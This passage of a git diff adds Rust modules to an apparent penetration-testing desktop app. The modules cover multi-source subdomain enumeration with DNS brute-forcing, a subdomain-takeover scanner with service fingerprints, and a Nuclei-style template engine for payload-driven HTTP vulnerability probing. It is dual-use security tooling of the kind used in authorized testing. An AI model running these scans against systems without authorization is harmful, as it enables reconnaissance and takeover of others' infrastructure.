&[("Authorization", key)]).await?; + let mut set = HashSet::new(); + for s in values_from_array(&val, "subdomains") { + if let Some(sub) = s.as_str() { + let full = format!("{}.{}", sub, domain); + if let Some(h) = norm_host(&full, domain) { set.insert(h); } + } + } + Ok(set) +} + +async fn src_shodan(client: &reqwest::Client, domain: &str, key: &str) -> anyhow::Result> { + let url = format!("https://api.shodan.io/dns/domain/{}?key={}", domain, key); + let val = fetch_json(client, &url).await?; + let mut set = HashSet::new(); + for s in values_from_array(&val, "subdomains") { + if let Some(sub) = s.as_str() { + let full = format!("{}.{}", sub, domain); + if let Some(h) = norm_host(&full, domain) { set.insert(h); } + } + } + Ok(set) +} + +async fn src_binaryedge(client: &reqwest::Client, domain: &str, key: &str) -> anyhow::Result> { + let url = format!("https://api.binaryedge.io/v2/query/domains/subdomain/{}", domain); + let val = fetch_json_with_headers(client, &url, &[("X-Key", key)]).await?; + let mut set = HashSet::new(); + for s in values_from_array(&val, "events") { + if let Some(host) = s.as_str() { + if let Some(h) = norm_host(host, domain) { set.insert(h); } + } + } + Ok(set) +} + +async fn src_fullhunt(client: &reqwest::Client, domain: &str, key: &str) -> anyhow::Result> { + let url = format!("https://fullhunt.io/api/v1/domain/{}/subdomains", domain); + let val = fetch_json_with_headers(client, &url, &[("X-API-KEY", key)]).await?; + let mut set = HashSet::new(); + for s in values_from_array(&val, "hosts") { + if let Some(host) = s.as_str() { + if let Some(h) = norm_host(host, domain) { set.insert(h); } + } + } + Ok(set) +} + +// ------------------------------------------------------------------ +// orchestrator +// ------------------------------------------------------------------ + +const FREE_SOURCES: &[&str] = &[ + "crtsh", "certspotter", "hackertarget", "alienvault", "anubis", + "rapiddns", "wayback", "urlscan", "threatcrowd", +]; + +const KEY_SOURCES: &[&str] = &[ + "c99", "virustotal", "securitytrails", "chaos", "shodan", "binaryedge", "fullhunt", +]; + +#[tauri::command] +pub fn subdomain_sources() -> serde_json::Value { + serde_json::json!({ + "free": FREE_SOURCES, + "key_based": KEY_SOURCES, + }) +} + +async fn fetch_source( + name: &str, + client: &reqwest::Client, + domain: &str, + keys: &HashMap, +) -> anyhow::Result> { + match name { + "crtsh" => src_crtsh(client, domain).await, + "certspotter" => src_certspotter(client, domain).await, + "hackertarget" => src_hackertarget(client, domain).await, + "alienvault" => src_alienvault(client, domain).await, + "anubis" => src_anubis(client, domain).await, + "rapiddns" => src_rapiddns(client, domain).await, + "wayback" => src_wayback(client, domain).await, + "urlscan" => src_urlscan(client, domain).await, + "threatcrowd" => src_threatcrowd(client, domain).await, + "c99" => src_c99(client, domain, keys.get("c99").ok_or_else(|| anyhow::anyhow!("missing c99 api key"))?).await, + "virustotal" => src_virustotal(client, domain, keys.get("virustotal").ok_or_else(|| anyhow::anyhow!("missing virustotal api key"))?).await, + "securitytrails" => src_securitytrails(client, domain, keys.get("securitytrails").ok_or_else(|| anyhow::anyhow!("missing securitytrails api key"))?).await, + "chaos" => src_chaos(client, domain, keys.get("chaos").ok_or_else(|| anyhow::anyhow!("missing chaos api key"))?).await, + "shodan" => src_shodan(client, domain, keys.get("shodan").ok_or_else(|| anyhow::anyhow!("missing shodan api key"))?).await, + "binaryedge" => src_binaryedge(client, domain, keys.get("binaryedge").ok_or_else(|| anyhow::anyhow!("missing binaryedge api key"))?).await, + "fullhunt" => src_fullhunt(client, domain, keys.get("fullhunt").ok_or_else(|| anyhow::anyhow!("missing fullhunt api key"))?).await, + _ => Err(anyhow::anyhow!("unknown source: {name}")), + } +} + +fn resolver() -> TokioAsyncResolver { + let mut opts = ResolverOpts::default(); + opts.timeout = Duration::from_secs(3); + opts.attempts = 1; + TokioAsyncResolver::tokio(ResolverConfig::cloudflare(), opts) +} + +#[tauri::command] +pub async fn subdomain_enum( + app: AppHandle, + req: SubdomainRequest, +) -> Result, String> { + let client = build_client(); + let resolver = Arc::new(resolver()); + let keys = req.api_keys.clone().unwrap_or_default(); + + let enabled: Vec = req.sources.clone() + .filter(|v| !v.is_empty()) + .unwrap_or_else(|| FREE_SOURCES.iter().map(|s| s.to_string()).collect()); + + let _ = app.emit("subenum:status", format!("running {} source(s) in parallel", enabled.len())); + + // ---- run all sources concurrently ---- + let mut all: HashMap = HashMap::new(); // host → first-seen source + let stats: Arc>> = Arc::new(tokio::sync::Mutex::new(Vec::new())); + + let source_results = futures::future::join_all(enabled.iter().map(|name| { + let client = client.clone(); + let keys = keys.clone(); + let domain = req.domain.clone(); + let app = app.clone(); + let stats = stats.clone(); + let name = name.clone(); + async move { + let started = std::time::Instant::now(); + let res = fetch_source(&name, &client, &domain, &keys).await; + let took = started.elapsed().as_millis(); + match res { + Ok(set) => { + let stat = SourceStat { source: name.clone(), count: set.len(), error: None, took_ms: took }; + let _ = app.emit("subenum:source", stat.clone()); + stats.lock().await.push(stat); + (name, set) + } + Err(e) => { + let stat = SourceStat { source: name.clone(), count: 0, error: Some(e.to_string()), took_ms: took }; + let _ = app.emit("subenum:source", stat.clone()); + stats.lock().await.push(stat); + (name, HashSet::new()) + } + } + } + })).await; + + for (src_name, set) in source_results { + for h in set { + all.entry(h).or_insert(src_name.clone()); + } + } + + // ---- bruteforce additions ---- + if let Some(words) = &req.wordlist { + for w in words { + let host = format!("{}.{}", w.trim(), req.domain); + all.entry(host).or_insert("brute".into()); + } + } + + let total = all.len(); + let _ = app.emit("subenum:status", format!("aggregated {total} candidates — resolving")); + + // ---- DNS resolve all candidates concurrently ---- + let sem = Arc::new(Semaphore::new(req.concurrency.max(1))); + let done = Arc::new(std::sync::atomic::AtomicUsize::new(0)); + + let hits: Vec = stream::iter(all.into_iter()) + .map(|(host, source)| { + let resolver = resolver.clone(); + let sem = sem.clone(); + let done = done.clone(); + let app = app.clone(); + async move { + let _permit = sem.acquire().await.unwrap(); + let result = resolver.lookup_ip(host.as_str()).await; + let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1; + let _ = app.emit("subenum:progress", serde_json::json!({"done": n, "total": total})); + match result { + Ok(lookup) => { + let ips: Vec = lookup.iter().map(|ip| ip.to_string()).collect(); + if ips.is_empty() { None } else { + let hit = SubdomainHit { host, source, ips }; + let _ = app.emit("subenum:hit", hit.clone()); + Some(hit) + } + } + Err(_) => None, + } + } + }) + .buffer_unordered(req.concurrency.max(1)) + .filter_map(|x| async move { x }) + .collect() + .await; + + let _ = app.emit("subenum:done", hits.len()); + Ok(hits) +} diff --git a/src-tauri/src/modules/takeover.rs b/src-tauri/src/modules/takeover.rs new file mode 100644 index 0000000..18b2408 --- /dev/null +++ b/src-tauri/src/modules/takeover.rs @@ -0,0 +1,312 @@ +use std::sync::Arc; +use std::time::Duration; + +use futures::stream::{self, StreamExt}; +use hickory_resolver::config::{ResolverConfig, ResolverOpts}; +use hickory_resolver::TokioAsyncResolver; +use once_cell::sync::Lazy; +use serde::{Deserialize, Serialize}; +use tauri::{AppHandle, Emitter}; +use tokio::sync::Semaphore; + +#[derive(Debug, Clone)] +pub struct Fingerprint { + pub service: &'static str, + pub cname_patterns: &'static [&'static str], + pub body_match: &'static [&'static str], + pub http_status: Option, + pub vulnerable: bool, + pub confidence: &'static str, +} + +static FINGERPRINTS: Lazy> = Lazy::new(|| { + vec![ + Fingerprint { + service: "AWS/S3", + cname_patterns: &["s3.amazonaws.com", "s3-website"], + body_match: &["NoSuchBucket", "The specified bucket does not exist"], + http_status: Some(404), + vulnerable: true, + confidence: "HIGH", + }, + Fingerprint { + service: "GitHub Pages", + cname_patterns: &["github.io", "github.map.fastly.net"], + body_match: &["There isn't a GitHub Pages site here", "For root URLs"], + http_status: Some(404), + vulnerable: true, + confidence: "HIGH", + }, + Fingerprint { + service: "Heroku", + cname_patterns: &["herokuapp.com", "herokussl.com"], + body_match: &["no-such-app", "No such app"], + http_status: Some(404), + vulnerable: true, + confidence: "HIGH", + }, + Fingerprint { + service: "Shopify", + cname_patterns: &["myshopify.com"], + body_match: &["Sorry, this shop is currently unavailable"], + http_status: None, + vulnerable: true, + confidence: "MEDIUM", + }, + Fingerprint { + service: "Azure", + cname_patterns: &[ + "azurewebsites.net", "cloudapp.net", "cloudapp.azure.com", + "trafficmanager.net", "blob.core.windows.net", "azureedge.net", + "azure-api.net", "azurecontainer.io", + ], + body_match: &["404 Web Site not found", "Error 404 - Web app not found"], + http_status: Some(404), + vulnerable: true, + confidence: "HIGH", + }, + Fingerprint { + service: "Fastly", + cname_patterns: &["fastly.net"], + body_match: &["Fastly error: unknown domain"], + http_status: None, + vulnerable: true, + confidence: "MEDIUM", + }, + Fingerprint { + service: "Readme.io", + cname_patterns: &["readme.io"], + body_match: &["Project doesnt exist... yet!"], + http_status: None, + vulnerable: true, + confidence: "HIGH", + }, + Fingerprint { + service: "Tumblr", + cname_patterns: &["domains.tumblr.com"], + body_match: &["Whatever you were looking for doesn't currently exist"], + http_status: None, + vulnerable: true, + confidence: "HIGH", + }, + Fingerprint { + service: "Unbounce", + cname_patterns: &["unbouncepages.com"], + body_match: &["The requested URL was not found on this server"], + http_status: None, + vulnerable: true, + confidence: "MEDIUM", + }, + Fingerprint { + service: "Ghost", + cname_patterns: &["ghost.io"], + body_match: &["The thing you were looking for is no longer here"], + http_status: None, + vulnerable: true, + confidence: "HIGH", + }, + Fingerprint { + service: "Pantheon", + cname_patterns: &["pantheonsite.io"], + body_match: &["The gods are wise, but do not know of the site which you seek"], + http_status: None, + vulnerable: true, + confidence: "HIGH", + }, + Fingerprint { + service: "Zendesk", + cname_patterns: &["zendesk.com"], + body_match: &["Help Center Closed"], + http_status: None, + vulnerable: true, + confidence: "LOW", + }, + Fingerprint { + service: "Surge.sh", + cname_patterns: &["surge.sh"], + body_match: &["project not found"], + http_status: None, + vulnerable: true, + confidence: "HIGH", + }, + Fingerprint { + service: "Bitbucket", + cname_patterns: &["bitbucket.io"], + body_match: &["Repository not found"], + http_status: None, + vulnerable: true, + confidence: "HIGH", + }, + Fingerprint { + service: "Netlify", + cname_patterns: &["netlify.app", "netlify.com"], + body_match: &["Not Found - Request ID"], + http_status: Some(404), + vulnerable: true, + confidence: "MEDIUM", + }, + Fingerprint { + service: "Vercel", + cname_patterns: &["vercel.app", "now.sh"], + body_match: &["The deployment could not be found"], + http_status: Some(404), + vulnerable: true, + confidence: "MEDIUM", + }, + Fingerprint { + service: "Cargo", + cname_patterns: &["cargocollective.com"], + body_match: &["404 Not Found"], + http_status: None, + vulnerable: true, + confidence: "LOW", + }, + Fingerprint { + service: "Statuspage", + cname_patterns: &["statuspage.io"], + body_match: &["You are being redirected"], + http_status: None, + vulnerable: false, + confidence: "LOW", + }, + ] +}); + +#[derive(Debug, Clone, Deserialize)] +pub struct TakeoverRequest { + pub hosts: Vec, + pub concurrency: usize, + pub timeout_ms: u64, +} + +#[derive(Debug, Clone, Serialize)] +pub struct TakeoverFinding { + pub host: String, + pub cname: Option, + pub service: Option, + pub vulnerable: bool, + pub confidence: String, + pub evidence: String, + pub http_status: Option, +} + +async fn check_host( + host: &str, + resolver: &TokioAsyncResolver, + client: &reqwest::Client, +) -> Option { + // 1. lookup CNAME + let cname = resolver + .lookup(host.to_string(), hickory_resolver::proto::rr::RecordType::CNAME) + .await + .ok() + .and_then(|lookup| lookup.iter().next().map(|r| r.to_string().trim_end_matches('.').to_string())); + + let cname = cname?; + + // 2. match CNAME against fingerprint DB + let fp = FINGERPRINTS.iter().find(|f| { + f.cname_patterns + .iter() + .any(|p| cname.to_lowercase().contains(&p.to_lowercase())) + })?; + + // 3. probe HTTP for confirmation + let urls = [format!("https://{host}"), format!("http://{host}")]; + let mut http_status: Option = None; + let mut body = String::new(); + + for u in &urls { + if let Ok(resp) = client.get(u).send().await { + http_status = Some(resp.status().as_u16()); + body = resp.text().await.unwrap_or_default(); + if !body.is_empty() { + break; + } + } + } + + let mut matched = false; + let mut evidence = String::new(); + for pat in fp.body_match { + if body.to_lowercase().contains(&pat.to_lowercase()) { + matched = true; + evidence = format!("body contains: \"{pat}\""); + break; + } + } + + if !matched { + if let (Some(expected), Some(actual)) = (fp.http_status, http_status) { + if expected == actual { + evidence = format!("cname match + status {actual} (body signature missing — likely reclaimed)"); + matched = true; + } + } + } + + // always report cname-fingerprinted hosts; vulnerability flag based on body confirm + Some(TakeoverFinding { + host: host.to_string(), + cname: Some(cname), + service: Some(fp.service.to_string()), + vulnerable: matched && fp.vulnerable, + confidence: if matched { fp.confidence.to_string() } else { "INFO".into() }, + evidence: if evidence.is_empty() { + format!("cname points to {} (no takeover indicators)", fp.service) + } else { + evidence + }, + http_status, + }) +} + +#[tauri::command] +pub async fn takeover_scan( + app: AppHandle, + req: TakeoverRequest, +) -> Result, String> { + let mut opts = ResolverOpts::default(); + opts.timeout = Duration::from_secs(3); + let resolver = Arc::new(TokioAsyncResolver::tokio(ResolverConfig::cloudflare(), opts)); + + let client = Arc::new( + reqwest::Client::builder() + .danger_accept_invalid_certs(true) + .timeout(Duration::from_millis(req.timeout_ms)) + .redirect(reqwest::redirect::Policy::none()) + .user_agent("Mozilla/5.0 (PocketPentester)") + .build() + .map_err(|e| e.to_string())?, + ); + + let total = req.hosts.len(); + let sem = Arc::new(Semaphore::new(req.concurrency.max(1))); + let done = Arc::new(std::sync::atomic::AtomicUsize::new(0)); + + let findings: Vec = stream::iter(req.hosts.into_iter()) + .map(|host| { + let resolver = resolver.clone(); + let client = client.clone(); + let sem = sem.clone(); + let done = done.clone(); + let app = app.clone(); + async move { + let _permit = sem.acquire().await.unwrap(); + let res = check_host(&host, &resolver, &client).await; + let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1; + let _ = app.emit("takeover:progress", serde_json::json!({"done": n, "total": total})); + if let Some(ref f) = res { + let _ = app.emit("takeover:hit", f.clone()); + } + res + } + }) + .buffer_unordered(req.concurrency.max(1)) + .filter_map(|x| async move { x }) + .collect() + .await; + + let _ = app.emit("takeover:done", findings.len()); + Ok(findings) +} diff --git a/src-tauri/src/modules/xploiter.rs b/src-tauri/src/modules/xploiter.rs new file mode 100644 index 0000000..63756e7 --- /dev/null +++ b/src-tauri/src/modules/xploiter.rs @@ -0,0 +1,645 @@ +// =================================================================== +// Xploiter — pure-Rust template-driven vulnerability scanner +// Author: imtaqin / PocketPentester +// +// Template format (YAML) — compatible with most Nuclei patterns plus +// our own extensions. Covers: RCE, SQLi patterns, LFI, SSRF, open +// redirect, info-exposure, CVE chains, and user-authored templates. +// +// TODO(backend): community template registry with signed/curated +// sharing is planned as a subscription-gated cloud +// service. For now, templates are local-only. +// TODO(backend): OOB interaction server (interact.sh-lite) for blind +// RCE/SSRF/XXE detection. To be shipped with cloud tier. +// =================================================================== + +use std::collections::HashMap; +use std::sync::Arc; +use std::time::{Duration, Instant}; + +use futures::stream::{self, StreamExt}; +use rand::Rng; +use regex::Regex; +use serde::{Deserialize, Serialize}; +use tauri::{AppHandle, Emitter}; +use tokio::sync::Semaphore; + +// ------------------------------------------------------------------ +// Template schema +// ------------------------------------------------------------------ + +#[allow(dead_code)] +#[derive(Debug, Clone, Deserialize)] +pub struct Template { + pub id: String, + pub info: TemplateInfo, + + #[serde(default)] + pub variables: HashMap, + + /// Global payload sets shared across requests (referenced by name). + #[serde(default)] + pub payloads: HashMap>, + + /// Sequential HTTP requests. Extractors in step N populate variables + /// available to step N+1 (basic workflow chaining). + #[serde(default)] + pub http: Vec, + + /// Alias for `http` (Nuclei compatibility). + #[serde(default)] + pub requests: Vec, +} + +#[allow(dead_code)] +#[derive(Debug, Clone, Deserialize, Serialize)] +pub struct TemplateInfo { + pub name: String, + #[serde(default)] + pub author: String, + #[serde(default = "default_sev")] + pub severity: String, + #[serde(default)] + pub description: String, + #[serde(default)] + pub tags: Vec, + #[serde(default)] + pub reference: Vec, + #[serde(default)] + pub classification: Option, + #[serde(default)] + pub remediation: Option, +} + +#[allow(dead_code)] +#[derive(Debug, Clone, Deserialize, Serialize)] +pub struct Classification { + #[serde(default)] + pub cvss_score: Option, + #[serde(default)] + pub cve_id: Option, + #[serde(default)] + pub cwe_id: Option>, +} + +fn default_sev() -> String { "info".into() } + +#[allow(dead_code)] +#[derive(Debug, Clone, Deserialize)] +pub struct HttpRequest { + #[serde(default = "default_method")] + pub method: String, + + /// Path list — each path is templated. Each entry spawns one sub-request + /// (unless payload-substitution expands it further). + pub path: Vec, + + #[serde(default)] + pub headers: HashMap, + + #[serde(default)] + pub body: Option, + + /// Request-local variables (merged with template-global + extracted). + #[serde(default)] + pub variables: HashMap, + + /// Payload injection: each key is a `{{placeholder}}` replaced by each + /// value from the list (cartesian unless `attack: pitchfork|clusterbomb`). + #[serde(default)] + pub payloads: HashMap>, + + #[serde(default = "default_attack")] + pub attack: String, // "batteringram" (single list) or "clusterbomb" + + #[serde(default = "default_match_cond")] + pub matchers_condition: String, + + #[serde(default)] + pub matchers: Vec, + + #[serde(default)] + pub extractors: Vec, + + #[serde(default)] + pub stop_at_first_match: bool, + + #[serde(default = "default_true")] + pub redirects: bool, + + /// Raw HTTP for smuggling / control-char testing (optional). + #[serde(default)] + pub raw: Option, +} + +fn default_method() -> String { "GET".into() } +fn default_match_cond() -> String { "or".into() } +fn default_attack() -> String { "batteringram".into() } +fn default_true() -> bool { true } + +#[allow(dead_code)] +#[derive(Debug, Clone, Deserialize)] +pub struct Matcher { + #[serde(rename = "type")] + pub kind: String, // word | regex | status | size | dsl | binary + #[serde(default)] + pub part: Option, // body | header | all | interactsh_protocol + #[serde(default)] + pub words: Option>, + #[serde(default)] + pub regex: Option>, + #[serde(default)] + pub status: Option>, + #[serde(default)] + pub size: Option>, + #[serde(default)] + pub binary: Option>, // hex + #[serde(default)] + pub dsl: Option>, // simple DSL: see eval_dsl + #[serde(default = "default_match_cond")] + pub condition: String, + #[serde(default)] + pub negative: bool, + #[serde(default)] + pub name: Option, +} + +#[allow(dead_code)] +#[derive(Debug, Clone, Deserialize)] +pub struct Extractor { + #[serde(rename = "type")] + pub kind: String, // regex | kval | json + #[serde(default)] + pub part: Option, + #[serde(default)] + pub regex: Option>, + #[serde(default)] + pub kval: Option>, // header/cookie keys + #[serde(default)] + pub json: Option>, // dotted path e.g. "token.access" + #[serde(default)] + pub group: Option, + #[serde(default)] + pub name: Option, + /// If set, extracted values become template variables for next requests. + #[serde(default)] + pub internal: bool, +} + +// ------------------------------------------------------------------ +// Runtime +// ------------------------------------------------------------------ + +#[derive(Debug, Clone, Deserialize)] +pub struct RunRequest { + pub targets: Vec, + pub templates_yaml: Vec, + pub concurrency: usize, + pub timeout_ms: u64, +} + +#[derive(Debug, Clone, Serialize)] +pub struct Finding { + pub template_id: String, + pub template_name: String, + pub severity: String, + pub tags: Vec, + pub target: String, + pub matched_url: String, + pub status: u16, + pub matcher_names: Vec, + pub extracted: HashMap>, + pub description: String, + pub remediation: Option, + pub reference: Vec, + pub cvss: Option, + pub cve_id: Option, +} + +// helpers ---------------------------------------------------------- + +fn randstr(n: usize) -> String { + let chars: Vec = "abcdefghijklmnopqrstuvwxyz0123456789".chars().collect(); + let mut rng = rand::thread_rng(); + (0..n).map(|_| chars[rng.gen_range(0..chars.len())]).collect() +} + +fn now_unix() -> u64 { + std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .map(|d| d.as_secs()) + .unwrap_or(0) +} + +/// Expand `{{var}}` and helper placeholders inside a template string. +fn expand(s: &str, vars: &HashMap) -> String { + let mut out = s.to_string(); + // helpers + out = out.replace("{{randstr}}", &randstr(10)); + out = out.replace("{{rand_int}}", &rand::thread_rng().gen_range(1000..9999).to_string()); + out = out.replace("{{unix_time}}", &now_unix().to_string()); + // user variables + for (k, v) in vars { + out = out.replace(&format!("{{{{{k}}}}}"), v); + } + out +} + +fn part_of(part: &str, status: u16, headers: &reqwest::header::HeaderMap, body: &str) -> String { + match part { + "header" | "headers" => headers + .iter() + .map(|(k, v)| format!("{}: {}", k, v.to_str().unwrap_or(""))) + .collect::>() + .join("\n"), + "body" | "" => body.to_string(), + "all" => format!( + "HTTP/1.1 {}\n{}\n\n{}", + status, + headers.iter().map(|(k, v)| format!("{}: {}", k, v.to_str().unwrap_or(""))).collect::>().join("\n"), + body + ), + _ => body.to_string(), + } +} + +fn check_matcher(m: &Matcher, status: u16, headers: &reqwest::header::HeaderMap, body: &str, duration_ms: u128) -> bool { + let part = m.part.as_deref().unwrap_or("body"); + let haystack = part_of(part, status, headers, body); + + let result = match m.kind.as_str() { + "status" => m.status.as_ref().is_some_and(|s| s.contains(&status)), + "word" => { + if let Some(words) = &m.words { + if m.condition == "and" { + words.iter().all(|w| haystack.contains(w)) + } else { + words.iter().any(|w| haystack.contains(w)) + } + } else { false } + } + "regex" => { + if let Some(patterns) = &m.regex { + let regs: Vec = patterns.iter().filter_map(|p| Regex::new(p).ok()).collect(); + if m.condition == "and" { + regs.iter().all(|re| re.is_match(&haystack)) + } else { + regs.iter().any(|re| re.is_match(&haystack)) + } + } else { false } + } + "size" => m.size.as_ref().is_some_and(|s| s.contains(&(body.len() as u64))), + "binary" => { + // hex bytes match anywhere in body + if let Some(patterns) = &m.binary { + patterns.iter().any(|hex| { + let bytes: Vec = (0..hex.len()) + .step_by(2) + .filter_map(|i| u8::from_str_radix(hex.get(i..i + 2).unwrap_or("00"), 16).ok()) + .collect(); + body.as_bytes().windows(bytes.len()).any(|w| w == bytes.as_slice()) + }) + } else { false } + } + "dsl" => { + // minimal DSL: `duration > 5000`, `status == 200`, `contains(body, "foo")` + if let Some(exprs) = &m.dsl { + let ok = |e: &str| eval_dsl(e, status, body, duration_ms); + if m.condition == "and" { exprs.iter().all(|e| ok(e)) } + else { exprs.iter().any(|e| ok(e)) } + } else { false } + } + _ => false, + }; + if m.negative { !result } else { result } +} + +fn eval_dsl(expr: &str, status: u16, body: &str, duration_ms: u128) -> bool { + // SUPER minimal DSL — extend as needed. Supports: + // status == N | status != N | status >= N | status <= N + // duration > N | duration < N (milliseconds) + // size > N | size < N + // contains(body, "text") + // regex(body, "pat") + let e = expr.trim(); + + if let Some(rest) = e.strip_prefix("contains(body,") { + let t = rest.trim_end_matches(')').trim().trim_matches('"'); + return body.contains(t); + } + if let Some(rest) = e.strip_prefix("regex(body,") { + let t = rest.trim_end_matches(')').trim().trim_matches('"'); + return Regex::new(t).map(|re| re.is_match(body)).unwrap_or(false); + } + + let parse_binop = |lhs: &str, input: &str| -> Option<(u128, &'static str, u128)> { + let cleaned = input.trim(); + let rest = cleaned.strip_prefix(lhs)?.trim_start(); + for op in [">=", "<=", "==", "!=", ">", "<"] { + if let Some(r) = rest.strip_prefix(op) { + if let Ok(n) = r.trim().parse::() { + let lhs_val = match lhs { + "status" => status as u128, + "duration" => duration_ms, + "size" => body.len() as u128, + _ => return None, + }; + let op_tag: &'static str = match op { + ">=" => ">=", "<=" => "<=", "==" => "==", + "!=" => "!=", ">" => ">", "<" => "<", _ => "==", + }; + return Some((lhs_val, op_tag, n)); + } + } + } + None + }; + + for lhs in ["status", "duration", "size"] { + if let Some((a, op, b)) = parse_binop(lhs, e) { + return match op { + "==" => a == b, "!=" => a != b, + ">" => a > b, "<" => a < b, + ">=" => a >= b, "<=" => a <= b, + _ => false, + }; + } + } + false +} + +fn run_extractors(extractors: &[Extractor], status: u16, headers: &reqwest::header::HeaderMap, body: &str) + -> HashMap> +{ + let mut out: HashMap> = HashMap::new(); + for ex in extractors { + let part = ex.part.as_deref().unwrap_or("body"); + let name = ex.name.clone().unwrap_or_else(|| "extracted".into()); + match ex.kind.as_str() { + "regex" => { + let Some(patterns) = &ex.regex else { continue }; + let haystack = part_of(part, status, headers, body); + let group = ex.group.unwrap_or(0); + for p in patterns { + if let Ok(re) = Regex::new(p) { + for cap in re.captures_iter(&haystack) { + if let Some(m) = cap.get(group) { + out.entry(name.clone()).or_default().push(m.as_str().to_string()); + } + } + } + } + } + "kval" => { + let Some(keys) = &ex.kval else { continue }; + for k in keys { + if let Some(v) = headers.get(k).and_then(|v| v.to_str().ok()) { + out.entry(k.clone()).or_default().push(v.to_string()); + } + } + } + "json" => { + let Some(paths) = &ex.json else { continue }; + if let Ok(val) = serde_json::from_str::(body) { + for p in paths { + if let Some(v) = json_lookup(&val, p) { + out.entry(p.clone()).or_default().push( + v.as_str().map(String::from).unwrap_or_else(|| v.to_string()) + ); + } + } + } + } + _ => {} + } + } + out +} + +fn json_lookup<'a>(val: &'a serde_json::Value, path: &str) -> Option<&'a serde_json::Value> { + let mut cur = val; + for part in path.split('.') { + cur = cur.get(part)?; + } + Some(cur) +} + +fn expand_payloads(path: &str, payloads: &HashMap>, attack: &str) -> Vec> { + // returns list of var-substitution maps — one per payload combination + let used: Vec<(&String, &Vec)> = payloads.iter() + .filter(|(k, _)| path.contains(&format!("{{{{{k}}}}}"))) + .collect(); + if used.is_empty() { return vec![HashMap::new()]; } + + match attack { + "batteringram" => { + // single-list: all placeholders get same index value + if let Some(max) = used.iter().map(|(_, v)| v.len()).max() { + (0..max).map(|i| { + used.iter().map(|(k, v)| { + let s = v.get(i).or_else(|| v.first()).cloned().unwrap_or_default(); + ((*k).clone(), s) + }).collect() + }).collect() + } else { vec![HashMap::new()] } + } + "pitchfork" => { + // parallel — each list iterates in lockstep + if let Some(min) = used.iter().map(|(_, v)| v.len()).min() { + (0..min).map(|i| { + used.iter().map(|(k, v)| ((*k).clone(), v[i].clone())).collect() + }).collect() + } else { vec![HashMap::new()] } + } + _ => { + // clusterbomb (cartesian) + let mut results: Vec> = vec![HashMap::new()]; + for (k, vals) in &used { + let mut next: Vec> = Vec::new(); + for base in &results { + for v in vals.iter() { + let mut m = base.clone(); + m.insert((*k).clone(), v.clone()); + next.push(m); + } + } + results = next; + } + results + } + } +} + +pub async fn run_template_against_target( + client: &reqwest::Client, + target: &str, + tpl: &Template, + app: &AppHandle, + event_prefix: &str, +) -> Vec { + let ev_status = format!("{event_prefix}:status"); + let ev_hit = format!("{event_prefix}:hit"); + let mut out: Vec = Vec::new(); + + // runtime variables (template globals + extracted from prior requests) + let mut rt_vars: HashMap = tpl.variables.clone(); + rt_vars.insert("BaseURL".into(), target.trim_end_matches('/').to_string()); + rt_vars.insert("Hostname".into(), target + .trim_start_matches("http://") + .trim_start_matches("https://") + .trim_end_matches('/') + .split('/').next().unwrap_or("").to_string()); + + let requests: Vec<&HttpRequest> = tpl.http.iter().chain(tpl.requests.iter()).collect(); + + 'per_request: for rq in requests { + // merge request-local variables + let mut vars = rt_vars.clone(); + for (k, v) in &rq.variables { vars.insert(k.clone(), v.clone()); } + + // combine template-level + request-level payloads + let mut all_payloads = tpl.payloads.clone(); + for (k, v) in &rq.payloads { all_payloads.insert(k.clone(), v.clone()); } + + for raw_path in &rq.path { + let payload_sets = expand_payloads(raw_path, &all_payloads, &rq.attack); + + for pset in &payload_sets { + let mut iter_vars = vars.clone(); + for (k, v) in pset { iter_vars.insert(k.clone(), v.clone()); } + + let final_path = expand(raw_path, &iter_vars); + let method = reqwest::Method::from_bytes(rq.method.as_bytes()) + .unwrap_or(reqwest::Method::GET); + let mut builder = client.request(method, &final_path); + for (k, v) in &rq.headers { + builder = builder.header(expand(k, &iter_vars), expand(v, &iter_vars)); + } + if let Some(body) = &rq.body { + builder = builder.body(expand(body, &iter_vars)); + } + + let start = Instant::now(); + let resp = match builder.send().await { + Ok(r) => r, + Err(e) => { + let _ = app.emit(ev_status.as_str(), format!("req err [{}]: {e}", tpl.id)); + continue; + } + }; + let status = resp.status().as_u16(); + let hdrs = resp.headers().clone(); + let body = resp.text().await.unwrap_or_default(); + let duration = start.elapsed().as_millis(); + + // matchers + let cond = rq.matchers_condition.as_str(); + let results: Vec<(bool, String)> = rq.matchers.iter() + .map(|m| (check_matcher(m, status, &hdrs, &body, duration), + m.name.clone().unwrap_or_else(|| m.kind.clone()))) + .collect(); + let matched = if results.is_empty() { false } + else if cond == "and" { results.iter().all(|(r, _)| *r) } + else { results.iter().any(|(r, _)| *r) }; + + // extractors (always run — populate variables for chained reqs) + let extracted = run_extractors(&rq.extractors, status, &hdrs, &body); + for ex in &rq.extractors { + if ex.internal { + if let Some(name) = &ex.name { + if let Some(vals) = extracted.get(name) { + if let Some(first) = vals.first() { + rt_vars.insert(name.clone(), first.clone()); + } + } + } + } + } + + if matched { + let finding = Finding { + template_id: tpl.id.clone(), + template_name: tpl.info.name.clone(), + severity: tpl.info.severity.clone(), + tags: tpl.info.tags.clone(), + target: target.to_string(), + matched_url: final_path, + status, + matcher_names: results.into_iter().filter(|(r, _)| *r).map(|(_, n)| n).collect(), + extracted, + description: tpl.info.description.clone(), + remediation: tpl.info.remediation.clone(), + reference: tpl.info.reference.clone(), + cvss: tpl.info.classification.as_ref().and_then(|c| c.cvss_score), + cve_id: tpl.info.classification.as_ref().and_then(|c| c.cve_id.clone()), + }; + let _ = app.emit(ev_hit.as_str(), finding.clone()); + out.push(finding); + if rq.stop_at_first_match { break 'per_request; } + } + } + } + } + out +} + +pub fn parse_templates(yamls: &[String], app: &AppHandle, error_event: &str) -> Vec